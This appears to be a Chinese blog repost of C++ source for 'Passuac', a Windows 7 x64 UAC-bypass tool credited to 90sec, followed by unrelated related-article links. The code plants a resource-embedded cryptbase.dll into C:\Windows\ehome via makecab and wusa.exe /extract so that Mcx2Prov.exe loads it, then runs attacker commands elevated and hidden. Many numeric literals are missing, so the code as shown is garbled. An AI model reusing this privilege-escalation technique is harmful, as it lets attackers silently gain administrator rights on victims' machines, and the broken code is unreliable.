// Passuac.cpp : Defines the entry point for the console application.
// #include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <direct.h> BOOL IsUserInAdminGroup() //判断是否在管理员组
{
BOOL fInAdminGroup = FALSE;
HANDLE hToken = NULL;
HANDLE hTokenToCheck = NULL;
DWORD cbSize = ; OSVERSIONINFO osver = {};
osver.dwOSVersionInfoSize = sizeof(osver); if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
goto Cleanup;
if (!GetVersionEx(&osver))
goto Cleanup;
if (osver.dwMajorVersion >= )
{
TOKEN_ELEVATION_TYPE elevType;
if (!GetTokenInformation(hToken, TokenElevationType, &elevType, sizeof(elevType), &cbSize))
goto Cleanup;
if (TokenElevationTypeLimited == elevType)
{
if (!GetTokenInformation(hToken, TokenLinkedToken, &hTokenToCheck, sizeof(hTokenToCheck), &cbSize))
goto Cleanup;
}
} if (!hTokenToCheck)
{
if (!DuplicateToken(hToken, SecurityIdentification, &hTokenToCheck))
goto Cleanup;
} BYTE adminSID[SECURITY_MAX_SID_SIZE];
cbSize = sizeof(adminSID);
if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, &adminSID, &cbSize))
goto Cleanup;
if (!CheckTokenMembership(hTokenToCheck, &adminSID, &fInAdminGroup))
goto Cleanup; Cleanup:
if (hToken) CloseHandle(hToken);
if (hTokenToCheck) CloseHandle(hTokenToCheck);
return fInAdminGroup;
} BOOL IsRunAsAdmin() //判断是否以管理员权限运行
{
BOOL fIsRunAsAdmin = FALSE;
DWORD dwError = ERROR_SUCCESS;
PSID pAdministratorsGroup = NULL; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (!AllocateAndInitializeSid(
&NtAuthority,
,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
, , , , , ,
&pAdministratorsGroup))
{
dwError = GetLastError();
goto Cleanup;
} if (!CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin))
{
dwError = GetLastError();
goto Cleanup;
} Cleanup:
if (pAdministratorsGroup) FreeSid(pAdministratorsGroup);
return fIsRunAsAdmin;
} BOOL writedll64()
{ char Szpath[MAX_PATH] = {};
char uacexqute[] = {};
DWORD dwWrite=;
WORD wResID;
HANDLE hFile = CreateFileA("cryptbase.dll",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Getlasterror:%d.\r\n",GetLastError());
return ;
}
HRSRC hrsc = FindResource(NULL,MAKEINTRESOURCE(IDR_TESTDLL1),L"TESTDLL");
HGLOBAL hG = LoadResource(NULL, hrsc);
DWORD dwSize = SizeofResource( NULL, hrsc); WriteFile(hFile,hG,dwSize,&dwWrite,NULL);
CloseHandle( hFile ); getcwd(Szpath, MAX_PATH);
strcat(Szpath,"\\cryptbase.tmp");
system("makecab cryptbase.dll cryptbase.tmp");
sprintf(uacexqute,"%s /extract:C:\\Windows\\ehome\\",Szpath); ShellExecuteA(NULL, "open", "wusa.exe", uacexqute, NULL, SW_HIDE); //remove("cryptbase*");
DeleteFileA("cryptbase.dll");
DeleteFileA("cryptbase.tmp"); return true;
} int main(int argc,char* argv[])
{
FILE* fp;
char szcmd[] = {};
char *Options;
char buffer[] = {};
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=TRUE; if (argc < )
{
printf("[*]:%s Passuac for windows 7 x64\n",argv[]);
printf("[*]:%s Setp1: passuac\r\n",argv[]);
printf("[*]:%s Setp2: shell_cmd\r\n",argv[]);
printf("[*]:Welcome to www.90sec.org\r\n");
printf("[*]:Pass uac t00ls By:@90sec\r\n\r\n");
return ;
} strcpy(szcmd,argv[]); char szNewCmd[MAX_PATH] = {};
wsprintfA(szNewCmd, "\"%s\"", szcmd); if (!IsUserInAdminGroup())
{
printf("Your not have in Local Administrator Group\r\n");
printf("Program exit;");
exit();
}else
{
printf("Your have in Local Administrator Group\r\n");
printf("PassUac ing.....\r\n");
if (!IsRunAsAdmin())
{
if (!strcmp(szcmd,"passuac"))
{
writedll64();
}else
{ ShellExecuteA(NULL, "open", "C:\\windows\\ehome\\Mcx2Prov.exe", szNewCmd, NULL, SW_HIDE);
Sleep(); fp = fopen("c:\\programdata\\uac.txt","rb");
if (fp == NULL)
{
printf("Getlasterror:%d\r\n",GetLastError());
return ;
} ZeroMemory(buffer,sizeof(buffer)); while (fgets(buffer,sizeof(buffer),fp))
{
printf(buffer);
}
fclose(fp);
}
}
}
return ;
}

需要自己写个DLL,来进行参数解析。请看代码把。

代码写的相当烂,但是能够达到地步,还请各位莫笑话。

WIN7 X64 PASSUAC 源码的更多相关文章

  1. tesseract4.0:win10 +x64+vs2015 源码安装(ViewerDebugging)安装记录

    参考文章: https://blog.csdn.net/u013985291/article/details/78295789 https://blog.csdn.net/u013985291/art ...

  2. 16Aspx.com源码2014年7月详细

            Web电子商务网(三层)V2.0源码 2014-07-31   [VS2010] 源码介绍: Web电子商务网(三层)V2.0源码 源码描述: 一.源码特点     采用三层架构开发, ...

  3. win7 x64 +vs2015 + cmake3.10.3编译opencv-3.4.1+opencv_contrib-3.4.1源码,并进行配置

    简介: 一直以来都是在ubuntu下使用opencv,最近因为有<图像处理与模式识别>这门课,需要使用vs2015+opencv提交课程作业,因为opencv官方编译好的exe没有cont ...

  4. qt4.8.7 源码在win7+vs2010环境的x64编译(qt 64位)

    由于qt官网上,没有直接提供x64的安装包,但由于项目需要x64的qt,所以,小编不得不下载qt的源码,经历了一次长达约4个小时的编译过程.今年国庆7天,就遭这事上了,哈哈~~~ 几个下载链接: qt ...

  5. 谷歌开源项目Chromium的源码获取与项目构建(Win7+vs10/vs13)

    转自:http://blog.csdn.net/kuerjinjin/article/details/23563059 从12年那会儿开始获取源码和构建chromium项目都是按照那时候的官方要求用w ...

  6. mpusher 源码编译 for windows X64

    mpusher 源码编译 for windows X64 对于java我是小白,通过一步步的摸索,将经验总结下来,给更多码友提供入门的帮助.一个人的摸索是很困难的,本教程感谢 [MPush开源消息推送 ...

  7. Windows 10 x64 下编译 Hadoop 源码

    Windows 10 x64 下编译 Hadoop 源码 环境准备 Hadoop并没有提供官方的 Windows 10 下的安装包,所以需要自己手动来编译,官方文档中 BUILDING.txt 文件中 ...

  8. QGIS(2.18.15 源码)+Qt(5/5.9.3)+VS2015(X64)编译

    由于工作要求,今年需要基于Qt搞跨平台的GIS.前期未曾接触过Qt,最近也简单学习了下,开源的QGIS是非常不错的学习资源,下了最新版的QGIS源码,不过在VS2015下却没法直接打开.网上查了很多资 ...

  9. 32位win7+vs2008编译mysql 5.6.22源码并安装

    以下这部分安装说明是来自http://www.2cto.com/database/201407/316681.html的win7+vs2010源码编译mysql,文章最后会说明用vs2008编译遇见的 ...

随机推荐

  1. virgo使用指南

    一.说明: 一个windows虚拟桌面软件,很小,不到10K,占用内存也极小.超级方便. 二.GitHub地址: henkman/virgo: Virtual desktops for Windows ...

  2. Neighbor Discovery Protocol Address Resolution Protocol

    https://en.wikipedia.org/wiki/Address_Resolution_Protocol The Address Resolution Protocol (ARP) is a ...

  3. block 块 partition 划分

    w 龚升

  4. 基于网页api(接口)实现查快递

    之前在网上找到一款下载某慕课网站的java版软件,我想知道他是怎么实现:对于视频的下载的,毕竟网页源码中大都不会直接放视频的地址,但是没有公布源码,我就反编译,等到了部分“源码”,逻辑上还是有些问题, ...

  5. 【转】《JAVA与模式》之责任链模式

    <JAVA与模式>之责任链模式 在阎宏博士的<JAVA与模式>一书中开头是这样描述责任链(Chain of Responsibility)模式的: 责任链模式是一种对象的行为模 ...

  6. MySQL中InnoDB脏页刷新机制Checkpoint

    我们知道InnoDB采用Write Ahead Log策略来防止宕机数据丢失,即事务提交时,先写重做日志,再修改内存数据页,这样就产生了脏页.既然有重做日志保证数据持久性,查询时也可以直接从缓冲池页中 ...

  7. 1.2 使用电脑测试MC20模块的GPS功能测试

    需要准备的硬件 MC20开发板 1个 https://item.taobao.com/item.htm?id=562661881042 GSM/GPRS天线 1根 https://item.taoba ...

  8. Ajax在jQuery中的应用---加载异步数据

    Ajax是Asynchronous JavaScript and XML的缩写,其核心是通过XMLHttpRequest对象,以一种异步的方式,向服务器发送数据请求,并通过该对象接收请求返回的数据,从 ...

  9. hadoop04---shell

    Linux上的mysql安装之后卸载是卸载不干净的,ping服务器ping不通就是把icmp协议关闭了,ping使用的是icmp协议. Export是全局变量,所有用户登录进来都可以使用. 1.ipt ...

  10. Linux Shell编程 cut、print命令

    cut命令:查找符合条件的列 cut  命令是在文件中提取符合条件的列,虽然 cut 命令用于提取符合条件的列,但是也要一行一行地进行数据提取.也就是说,先要读取文本的第一行数据,在此行中判断是否有符 ...